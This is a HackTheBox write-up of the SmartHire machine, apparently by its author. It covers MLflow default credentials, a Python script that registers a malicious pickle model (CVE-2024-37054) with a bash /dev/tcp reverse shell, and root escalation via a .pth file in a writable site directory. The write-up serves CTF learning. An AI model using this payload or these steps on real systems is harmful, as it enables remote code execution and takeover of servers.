# SmartHire - hackthebox writeup

## Introduction

Smarthire is a medium rated machine in hackthebox released off-season. This is the first box I submitted to hackthebox and was approved. I expected it to be approved as an easy box, but hackthebox decided to release it as a medium.

The intended path exploits three realistic mistakes: abusing an exposed MLflow registry (default basic auth) to register a malicious PyFunc model (model-poisoning / deserialization RCE), forcing the web app to load the attacker-controlled model via predictable model naming, then escalating `svcweb` → `root` via Python's `.pth` autoloading behavior.

For privilege escalation, `svcweb` can sudo a Python mlflow maintenance script that calls `site.addsitedir()` on a plugin directory writable by the `devs` group (which `svcweb` belongs to). A malicious `.pth` file placed there is all it takes — Python automatically executes `import`\-prefixed lines in `.pth` files during site initialization, so the next sudo invocation runs attacker code as root.

> If you would like to take a look at the report containing all implementation details, Take a look - <https://gist.github.com/redtrib3/7c896e11e513a77d493d2277eedace7e>

## Enumeration

Initial Nmap scan:

```plaintext
nmap 192.168.56.101
```

![img1](https://camo.githubusercontent.com/ef179895b34b5c0db530739c31e1772789543eae10dc5da00b62e07f1a4757b8/68747470733a2f2f64726976652e75736572636f6e74656e742e676f6f676c652e636f6d2f646f776e6c6f61643f69643d31572d34766d6375683777684175545451423875454736375934714748466a6c64266578706f72743d766965772661757468757365723d30 align="center")

Nmap Service and script scan:

```plaintext
nmap -p 22,80 -sV -sC -vv 192.168.56.101
```

![img2](https://camo.githubusercontent.com/84888a529cb8dec5bd3d577c98bf75e49e4d9759798f74220896b5cb662d0ec8/68747470733a2f2f64726976652e75736572636f6e74656e742e676f6f676c652e636f6d2f646f776e6c6f61643f69643d31684d2d4a446c6a374264576f454e62653335414250554a62564c504c7872526f266578706f72743d766965772661757468757365723d30 align="center")

## Port 80 (HTTP)

Browsing to HTTP redirects us to smarthire.htb

![img3](https://camo.githubusercontent.com/b0a43c852b67f12d2823bda271a34d2eeefa2fcf70a1bfa01c89c66224d9511b/68747470733a2f2f64726976652e75736572636f6e74656e742e676f6f676c652e636f6d2f646f776e6c6f61643f69643d314a6a544a77634a593177627a326666486a4a37355a6266516764304c774f434b266578706f72743d766965772661757468757365723d30 align="center")

Add that to our Hosts file - `/etc/hosts` and continue load the website again.

**Home page:** ('/')

![img4](https://camo.githubusercontent.com/94632a6c57249437724e1c80dc9a240a1f47084a9142f8cc1ef8f1d252ede287/68747470733a2f2f64726976652e75736572636f6e74656e742e676f6f676c652e636f6d2f646f776e6c6f61643f69643d314f6a567869504e734c667a4e436c4330583338753376447262426c2d5f4c7238266578706f72743d766965772661757468757365723d30 align="center")

The website is mostly static, containing links to `#about`, `#testimonials`, `#products` - sections containing mostly static text as shown in below screenshots:

![img5](https://camo.githubusercontent.com/4d5e7e3045104abd587f0ef10aa97e33eec84acb46faa507bdabb3e5129639cd/68747470733a2f2f64726976652e75736572636f6e74656e742e676f6f676c652e636f6d2f646f776e6c6f61643f69643d3143523662456269617939786c5042446d6d666d664c50326374794450434d3251266578706f72743d766965772661757468757365723d30 align="center")

![img6](https://camo.githubusercontent.com/8a97fb7409ebb292dcbb5e0eb0306190eb1fde58e3f15394ec0ecc865def1973/68747470733a2f2f64726976652e75736572636f6e74656e742e676f6f676c652e636f6d2f646f776e6c6f61643f69643d314b356658634b4b544e6a5a384371666c51327a47524c365245503254556f476e266578706f72743d766965772661757468757365723d30 align="center")

![img7](https://camo.githubusercontent.com/028766f6efe12f8e4db5c5073f07dea787f15986e10a9e044b4522fa13f618bc/68747470733a2f2f64726976652e75736572636f6e74656e742e676f6f676c652e636f6d2f646f776e6c6f61643f69643d314659585a4b5749426c6d74576c7974336a4b6851713578685f5375645f317645266578706f72743d766965772661757468757365723d30 align="center")

**Sign up page:**

![img8](https://camo.githubusercontent.com/18fd9da773368269ad9c5ebd4bc324083e1fc91ce4658de4d329fd5e76bb5ab0/68747470733a2f2f64726976652e75736572636f6e74656e742e676f6f676c652e636f6d2f646f776e6c6f61643f69643d3154476a3475534d396b3653514c657a62697732536d31335834714f6a6a704e62266578706f72743d766965772661757468757365723d30 align="center")

**Sign in page:**

![img8-1](https://camo.githubusercontent.com/706e840e82c0957e9549ada3e64331325a73743a1ed807b49a10492a54d8c5cc/68747470733a2f2f64726976652e75736572636f6e74656e742e676f6f676c652e636f6d2f646f776e6c6f61643f69643d31784b3374594b334e68346b4d4f486b6b56622d777639667972443353694b4632266578706f72743d766965772661757468757365723d30 align="center")

Sign up for an account with any username and password, note down the company you are providing when you signup.

**Dashboard (/dashboard**):

![img9](https://camo.githubusercontent.com/d31b1477a261d5cdf40daf7d08a10c70105bb0b8eb5da006d39ee0a7f4fc89ec/68747470733a2f2f64726976652e75736572636f6e74656e742e676f6f676c652e636f6d2f646f776e6c6f61643f69643d314e4e3966586b577047497658767554463556386c316e65436345325a385a3557266578706f72743d766965772661757468757365723d30 align="center")

In dashboard - there are two features:

1. **Train a model**: This takes a CSV file containing historical training data, an example is provided to be used.

![img10](https://camo.githubusercontent.com/df143c4ee5f040bf9b8449147f1dcaf3fe1a33f3672fe978a2a2153a4565a02c/68747470733a2f2f64726976652e75736572636f6e74656e742e676f6f676c652e636f6d2f646f776e6c6f61643f69643d312d66457a31545f376b3633744e577268614f53526a325a364e6671624b567952266578706f72743d766965772661757468757365723d30 align="center")

![img11](https://camo.githubusercontent.com/df143c4ee5f040bf9b8449147f1dcaf3fe1a33f3672fe978a2a2153a4565a02c/68747470733a2f2f64726976652e75736572636f6e74656e742e676f6f676c652e636f6d2f646f776e6c6f61643f69643d312d66457a31545f376b3633744e577268614f53526a325a364e6671624b567952266578706f72743d766965772661757468757365723d30 align="center")

![img12](https://camo.githubusercontent.com/c86011da1c0fba17d083e20bc719b57e0a266b5f90313e4e30402a07bb32f7e0/68747470733a2f2f64726976652e75736572636f6e74656e742e676f6f676c652e636f6d2f646f776e6c6f61643f69643d316c4163676f6643434949545a41474167743534497235672d474c4166657a5f55266578706f72743d766965772661757468757365723d30 align="center")

2. **Make a prediction**

A resume can be uploaded in CSV format requiring experience and skills columns and rest all as optional.

![img13](https://camo.githubusercontent.com/21b014fddbeaeeef048df97762933c57ac9b12f47048a2931becead6eb7dfd95/68747470733a2f2f64726976652e75736572636f6e74656e742e676f6f676c652e636f6d2f646f776e6c6f61643f69643d31716d41625a5663345a6452764734476b5079736a7265763247614e5141386a4a266578706f72743d766965772661757468757365723d30 align="center")

A CSV containing the provided example can be uploaded and it returns with a score for the Resume.

![img14](https://camo.githubusercontent.com/036b082c2050ce7a6ce30b9593b9f63e448cfc9457bbed436a89b02723f20050/68747470733a2f2f64726976652e75736572636f6e74656e742e676f6f676c652e636f6d2f646f776e6c6f61643f69643d316c424c762d6b49637666597a6e3457766731787a482d43614e706f7251755f75266578706f72743d766965772661757468757365723d30 align="center")

Run *gobuster/ffuf* to find vhosts of the target.

![img15](https://camo.githubusercontent.com/632cdfbcb2a3e01552468de57f37089f9870b9109245cfe98c22b4b6a505ff0d/68747470733a2f2f64726976652e75736572636f6e74656e742e676f6f676c652e636f6d2f646f776e6c6f61643f69643d314f4c424c77464e78667a516c5a43475433763039684e6a41346e51734f41386a266578706f72743d766965772661757468757365723d30 align="center")

This finds us a vhost - **models.smarthire.htb**, add it to `/etc/hosts` and checkout the endpoint.

On visiting the vhost, it asks for Basic authentication credentials:

![img16](https://camo.githubusercontent.com/0cbbcd55eb3f2cb905ccb66e677417c4e1680ee13a546b880668ed0d0985a8b1/68747470733a2f2f64726976652e75736572636f6e74656e742e676f6f676c652e636f6d2f646f776e6c6f61643f69643d315272516e30752d464569586f726b62705859734e762d6a66676b6f324e594276266578706f72743d766965772661757468757365723d30 align="center")

Press Cancel and you get a error page revealing its a mlflow deployment.

![img17](https://camo.githubusercontent.com/75e07770aab61dde37bb5df08c8cdc4a03f4f616709b334c3a6b25e589d45ca3/68747470733a2f2f64726976652e75736572636f6e74656e742e676f6f676c652e636f6d2f646f776e6c6f61643f69643d314864585764565a314a48434d706a4b7332486175715f78567134783039306e73266578706f72743d766965772661757468757365723d30 align="center")

It says:

> *"You are not authenticated. Please see* [*https://www.mlflow.org/docs/latest/auth/index.html#authenticating-to-mlflow*](https://www.mlflow.org/docs/latest/auth/index.html#authenticating-to-mlflow) *on how to authenticate."*

Read the documentation to find that the default credentials of mlflow is `"admin:password1234"`

But this doesn't work, if you read for the versions from latest to older ones, you can find that the older versions had the basic auth credentials as set as `admin:password`. Use it to login. Guessing or bruteforcing can also work here as the default credentials are fairly guessable and simple.

**MLFlow Dashboard:**

![img18](https://camo.githubusercontent.com/c0731ad83c12d47084bb78789de080d8c70c40148318c8d18c5d7e15f7a8f76d/68747470733a2f2f64726976652e75736572636f6e74656e742e676f6f676c652e636f6d2f646f776e6c6f61643f69643d31575f6d61517734477164716553323976732d764b44745157635556363571357a266578706f72743d766965772661757468757365723d30 align="center")

The brand header in Navbar clearly indicates the version as `2.14.1`, A simple google search for `mlflow 2.14.1 exploit` yields us these articles that can explain the vulnerability well:

- <https://github.com/mlflow/mlflow/issues/12256>
- <https://github.com/NiteeshPujari/CVE-2024-37054-MLflow-RCE> (**PoC**)

The vulnerability is present in the `pyfunc.load_model` method that is used to load a model and run prediction. The method deserializes a model without any security checks. thus leading to a remote code execution vulnerability. If the attacker could find a way to log a model and make the server run prediction on it, one could achieve RCE on the server.

On further interaction with the mlflow dashboard, you may notice that the models created from `smarthire.htb` is stored in the mlflow registry with the naming scheme: `<company_name>-<random-id>-models`, this is also reflected in the active models listing in `smarthire.htb` UI.

![img19](https://camo.githubusercontent.com/02035fafe9ee94a32b7236f1857f6ec6dcc2c16530f09322a031f8bbc45a949c/68747470733a2f2f64726976652e75736572636f6e74656e742e676f6f676c652e636f6d2f646f776e6c6f61643f69643d3130325a32784a674f7858373856694559576272416f57774e5f4875327a2d6a4f266578706f72743d766965772661757468757365723d30 align="center")

Same model in MLFlow dashboard:

![img20](https://camo.githubusercontent.com/d0c12e6682bcb648229df671d18968fb9592541a198df472c82994892129a80a/68747470733a2f2f64726976652e75736572636f6e74656e742e676f6f676c652e636f6d2f646f776e6c6f61643f69643d31517046466353496f7a356c4b5f68494f453275455452486d577668494d6e5043266578706f72743d766965772661757468757365723d30 align="center")

To get RCE, all we have to do is overwrite this model in MLflow registry present at <http://models.smarthire.htb>, and when we run a prediction from `smarthire.htb`, the model with the name is run through `load_model()` (deserialized).

# Foothold

Since mlflow registry dashboard is accessible, anyone could load models into it.

The idea:

- We have already logged a model into mlflow by training a model with data, and smarthire.htb uses and *loads* the model when predicting resume scores.
- The model is given a name which one can note down from the left side box with title "Model Status" on smarthire.htb.
- To exploit, we must overwrite this model with a malicious one, and use the model for prediction again.

For writing a model to Mlflow, MLFLOW provides a way to directly interact with a model registry using the python library `mlflow`. Make sure the script uses the same mlflow library version (`mlflow==2.14.1`) and python version (`python3.10`) as the the server. (Both of these information are available in the dashboard as shown below - not required to guess!)

![img21](https://camo.githubusercontent.com/b26cedd26fc9585ac61237273a0157a821f468da2d430c4f5b1b0800aa56d931/68747470733a2f2f64726976652e75736572636f6e74656e742e676f6f676c652e636f6d2f646f776e6c6f61643f69643d31324b666b48767a38467563744e6168646d585453576351384f54754f67724444266578706f72743d766965772661757468757365723d30 align="center")

![img22](https://camo.githubusercontent.com/c8ee7a5d821ace9e621d92487118c4086f0ceb684c75baefdf5a8124577f1862/68747470733a2f2f64726976652e75736572636f6e74656e742e676f6f676c652e636f6d2f646f776e6c6f61643f69643d315f436f5049494f344a4d74723063634139685450707465425530695464617a69266578706f72743d766965772661757468757365723d30 align="center")

*Further details of a model are available on clicking on it, this shows python version dependency as python 3.10 and also the exact versions of libraries used.*

**Script to log a model:**

```python

# poc/log_malicious_model.py
# this is the script from  github.com/NiteeshPujari/CVE-2024-37054-MLflow-RCE - made minor tweaks to match the setup.

import mlflow
import os



# https://mlflow.org/docs/2.14.1/auth/index.html#authenticating-to-mlflow
# load env variables to read the username and password that can be send for basic auth protecting the mlflow server.

os.environ["MLFLOW_TRACKING_USERNAME"] = "admin"
os.environ["MLFLOW_TRACKING_PASSWORD"] = "password"

# The URI of your MLflow tracking server
MLFLOW_TRACKING_URI = "http://models.smarthire.htb"
REGISTERED_MODEL_NAME = "redtribe-ce3c8a39a795-model" 

class MaliciousCodeWrapper(mlflow.pyfunc.PythonModel):
    def __init__(self):
        class CommandRunner:
            def __reduce__(self):
                cmd = "/bin/bash -c 'bash -i >& /dev/tcp/192.168.0.109/9001 0>&1'"   # reverse shell, change ip
                return (os.system, (cmd,))
        self.payload = CommandRunner()

    def predict(self, context, model_input):
        return "This model is a malicious payload."

if __name__ == "__main__":
    mlflow.set_tracking_uri(MLFLOW_TRACKING_URI)
    #mlflow.set_experiment("Security Demos")   # This should be removed as smarthire.htb saves its model with name "Default" experiment OR set it to "Default"
    with mlflow.start_run() as run:
        mlflow.pyfunc.log_model(
            artifact_path="model",
            python_model=MaliciousCodeWrapper(),
            registered_model_name=REGISTERED_MODEL_NAME
        )
    print(f"[*] Malicious model '{REGISTERED_MODEL_NAME}' has been logged.")

```

Run the exploit and here is a challenge that players may potentially face, it is that they catch their own shell from the host. this is a design issue with mlflow that when you run `log_model()`, it goes through some methods running another method called `save_model`, which runs `load_model()` again, which deserializes our evil class, thus executing in our own host.

This is a quirk with mlflow and all you have to do is ignore this by disconnecting from the shell from your host. or only start the netcat listener after logging the model.

![img23](https://camo.githubusercontent.com/120f42bbdc4b27a134b5e1a57029d76fe7902b5a3917ac0e87049e2eb6d1869f/68747470733a2f2f64726976652e75736572636f6e74656e742e676f6f676c652e636f6d2f646f776e6c6f61643f69643d315557572d32684c764e75474f566b376549434272755779686164396563683135266578706f72743d766965772661757468757365723d30 align="center")

*catches our own shell!On CTRL^C ing out of our own caught shell, the exploit successfully logs our evil model into models.smarthire.htb*

![img24](https://camo.githubusercontent.com/121ab5f41b021d9dd9c35d9a214877775894b7c9c15da3813748f7a4f9b89b3b/68747470733a2f2f64726976652e75736572636f6e74656e742e676f6f676c652e636f6d2f646f776e6c6f61643f69643d3154574442707353546c32363443506a356f6a4852664550716f4c3145414b7643266578706f72743d766965772661757468757365723d30 align="center")

*Checking the model registry, it is clear from the source column that our exploit has overwritten the model.*

Run the Netcat listener again, and run a prediction on the evil model to catch a shell from the server.

> if your python version doesn't match (for eg: you run python3.11 and the server runs python3.10, this could result in the following error)

![img25](https://camo.githubusercontent.com/56b6cbc9b781aa8fe49c6b7d8e2f7f3e5a989e09bd062cc8cd75e87f0883fa46/68747470733a2f2f64726976652e75736572636f6e74656e742e676f6f676c652e636f6d2f646f776e6c6f61643f69643d31794d7a776c366f477354763654324d32356e6e4576416c43355f4831416f4e41266578706f72743d766965772661757468757365723d30 align="center")

> So make sure to run python3.10 when logging the evil model to the registry.
>
> I'm dealing with this by running the exploit from python3.10 docker container as shown below

```Dockerfile
FROM python:3.10.12-slim
WORKDIR /work
COPY . /work
RUN pip install --no-cache-dir --timeout=100 --retries=10 \
    cloudpickle==3.1.1 mlflow==2.14.1 pandas
RUN pip install dotenv
CMD ["python3"]
```

![img26](https://camo.githubusercontent.com/60182e96d849de3a6341eabf9fc35d5391b0f3b3b900d3320962563dec7f8b43/68747470733a2f2f64726976652e75736572636f6e74656e742e676f6f676c652e636f6d2f646f776e6c6f61643f69643d31413053447a7630484477717533674c46787571357069336d2d39307555687137266578706f72743d766965772661757468757365723d30 align="center")

Now that the malicious model is logged, go ahead and run the prediction from `smarthire.htb/predict` with your nc listener running on the port specified in the reverse shell.

![img27](https://camo.githubusercontent.com/61d58846f18bc96eafe1d954d60117c8602c187bca428ac814f985085f339de5/68747470733a2f2f64726976652e75736572636f6e74656e742e676f6f676c652e636f6d2f646f776e6c6f61643f69643d314245795f583573637838434e522d7758396f6e614d42563242535f4943505a6c266578706f72743d766965772661757468757365723d30 align="center")

You get a shell as svcweb. to make it more easier to interact, i have provided ssh keys in ~/.ssh, so that players could use stable SSH.

# Privilege Escalation

First thing first, check sudo permissions and you see this:

```bash
Matching Defaults entries for svcweb on smarthire:
    env_reset, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, use_pty

User svcweb may run the following commands on smarthire:
    (root) NOPASSWD: /usr/bin/python3.10 /opt/tools/mlflow_ctl/mlflowctl.py *
```

It shows that I can run the command `/usr/bin/python3.10 /opt/tools/mlflow_ctl/mlflowctl.py` with arguments as root.

[mlflowctf.py](http://mlflowctf.py) folder and permissions:

```bash
-rwxr-xr-- 1 root root 1080 Feb 19 18:16 mlflowctl.py
drwxr-xr-x 4 root root 4096 Feb 19 18:10 plugins
```

plugins/ directory:

```bash
drwxr-xr-x 3 root root 4096 Feb 19 19:15 core
drwxrwxr-x 2 root devs 4096 Feb 20 07:48 dev
```

plugins/core directory:

```bash
-rw-r--r-- 1 root root 1474 Feb 19 16:49 backup_models.py
-rw-r--r-- 1 root root 1492 Feb 19 17:45 mlflow_actions.py
```

plugins/dev directory is empty:

```bash
drwxrwxr-x 2 root devs 4096 Feb 20 07:48 .
drwxr-xr-x 4 root root 4096 Feb 19 18:10 ..
```

Contents of `mlflowctf.py` file:

```python

#!/usr/bin/env python3
"""
MLFLOW-CTL: Operational interface for managing the MLflow service.
Supports a pluggable extension model for environment-specific logic.
For changes or plugin requests, please contact the Platform Team.
"""

from pathlib import Path
import sys
import site

BASE_DIR = Path(__file__).resolve().parent
PLUGINS_DIR = BASE_DIR / "plugins"

# make plugins importable
for path in PLUGINS_DIR.iterdir():
    if path.is_dir():
        site.addsitedir(str(path))

def print_usage():
    print("Usage: mlflowctl.py [status|backup-models|restart]")
    sys.exit(1)

def main():
    import mlflow_actions, backup_models

    if len(sys.argv) < 2:
        print_usage()

    action = sys.argv[1]

    if action == "status":
        mlflow_actions.check_status()
    elif action == "backup-models":
        print("[*] Running backup via backup_models plugin...")
        backup_models.run()
    elif action == "restart":
        mlflow_actions.restart()
    else:
        print(f"[!] Unknown action: {action}")
        print_usage()

if __name__ == "__main__": main()

```

The script seems to be a maintenence wrapper for devops, it modularizes functions using developer created plugins. The core and dev plugin directories are added to site path for import.

Checking what the plugins do:

**plugins/core/backup_models.py**

```python

#!/usr/bin/env python3
"""
Core plugin: Backup MLflow models
This plugin handles periodic backups of MLflow run artifacts.
"""

import os
import subprocess
from datetime import datetime, timedelta

MLRUNS_PATH = "/opt/mlflow/app/mlruns"
BACKUP_DIR = "/var/backups/mlflow-backup"
BACKUP_INTERVAL_MINUTES = 10

def run():
    os.makedirs(BACKUP_DIR, exist_ok=True)

    # Get existing backups
    backup_files = [
        os.path.join(BACKUP_DIR, f) for f in os.listdir(BACKUP_DIR)
        if f.startswith("mlruns_backup_") and f.endswith(".tar.gz")
    ]
    backup_files.sort(key=os.path.getmtime, reverse=True)

    # Skip if last backup is too recent
    if backup_files:
        last_backup_time = datetime.fromtimestamp(os.path.getmtime(backup_files[0]))
        if datetime.now() - last_backup_time < timedelta(minutes=BACKUP_INTERVAL_MINUTES):
            print(f"Last backup was at {last_backup_time}. Skipping backup (less than {BACKUP_INTERVAL_MINUTES} minutes ago).")
            return

    # Create new backup
    timestamp = datetime.now().strftime("%Y%m%d%H%M%S")
    archive_name = f"mlruns_backup_{timestamp}.tar.gz"
    archive_path = os.path.join(BACKUP_DIR, archive_name)

    try:
        subprocess.run(
            ["/usr/bin/tar", "-czf", archive_path, "-C", MLRUNS_PATH, "."],
            check=True
        )
        print(f"Backup successful: {archive_path}")
    except subprocess.CalledProcessError as e:
        print(f"[!] Backup failed: {e}")
```

**plugins/core/mlflow_actions.py**

```python
#!/usr/bin/env python3

from subprocess import run, CalledProcessError

def check_status():
    print("[*] Checking MLflow service status...\n")

    # check-1: through systemctl
    try:
        result = run(["systemctl", "is-active", "mlflow.service"], capture_output=True, text=True, check=True)
        print(f"[+] MLflow service status: {result.stdout.strip()}")

    except subprocess.CalledProcessError:
        print("[!] MLflow service is not running")

    # check-2: docker container
    try:
        result = run(["docker", "ps", "--filter", "name=mlflow-service", "--format", "'{{.Status}}'"], capture_output=True, text=True, check=True)
        status = result.stdout.strip()
        if status:
            print(f"[+] MLflow container status: {status}")
        else:
            print("[!] MLflow container is not running")

    except CalledProcessError as e:
        print(f"[!] Failed to check container status: {e}")


def backup():
    print("[*] Running MLflow backup workflow...\n")
    try:
        run(["/opt/tools/backup_models.py"], check=True)
        print("[*] Backup completed successfully")

    except CalledProcessError as e:
        print(f"[!] Backup failed: {e}")


def restart():

    try:
        print("[*] Restarting docker container, this might take a moment.\n")
        run(["docker", "restart", "mlflow-service"], check=True)
        print("[+] Restart complete.")
    except CalledProcessError as e:
        print(f"[!] Restart failed: {e}")

```

From the [mlflowctf.py](http://mlflowctf.py) file, you can notice that plugin directories are added to sitepath to be imported for usage, but this is a dangerous design flaw as it allows exploitation using `.pth` files.

The `.pth` or Path configuration file in Python has two primary uses:

- Plain text files used to extend the Python module search path (sys.path).
- Run python code during interpreter startup.

Any `.pth` file placed in a site directory is automatically processed by Python on startup. Lines beginning with `import` are executed as code, while other lines are added to `sys.path`. Since `svcweb` can write to the `plugins/dev` site directory, placing a `.pth` file containing `import os; os.system("...")` and invoking the script via sudo is sufficient to execute arbitrary commands as root.

The intended privilege escalation method is explained here in detail:

- <https://www.sonarsource.com/blog/pretalx-vulnerabilities-how-to-get-accepted-at-every-conference/#code-execution-via-sitespecific-configuration-hooks>
- Python's Site specific configuration hook - <https://docs.python.org/3/library/site.html>
- Vulnerability/Feature in python [site.py](http://site.py) - <https://github.com/python/cpython/blob/3.11/Lib/site.py#L194C1-L194C61>

**TLDR;**

By design, when you run a python process, python checks for files ending with `.pth` extension in `/usr/lib/python3.10/site-packages` , and does the following:

- if the content of the `pth` file starts with `import`, it is treated as a python file and is directly passed into `exec()` with no sanitization whatsoever.
- if its anything other than `import`, it is treated as an extra sys.path, and is added to python's path.
- that means if you can write into `site-packages` directory, you could drop a shell, when any python process is ran by any user.

**Do the following to get Root:**

Since `devs` group members have right permission in `plugins/dev`, `svcweb` can write a `*.pth` file into that directory. The `.pth` file is ran first if it contains `import` in line 1.

```bash
svcweb@smarthire:/opt/tools/mlflow_ctl/plugins$ echo 'import os; os.system("/bin/bash")' > dev/exp.pth
svcweb@smarthire:/opt/tools/mlflow_ctl/plugins$ sudo /usr/bin/python3.10 /opt/tools/mlflow_ctl/mlflowctl.py status
root@smarthire:/opt/tools/mlflow_ctl/plugins# id
uid=0(root) gid=0(root) groups=0(root)
```
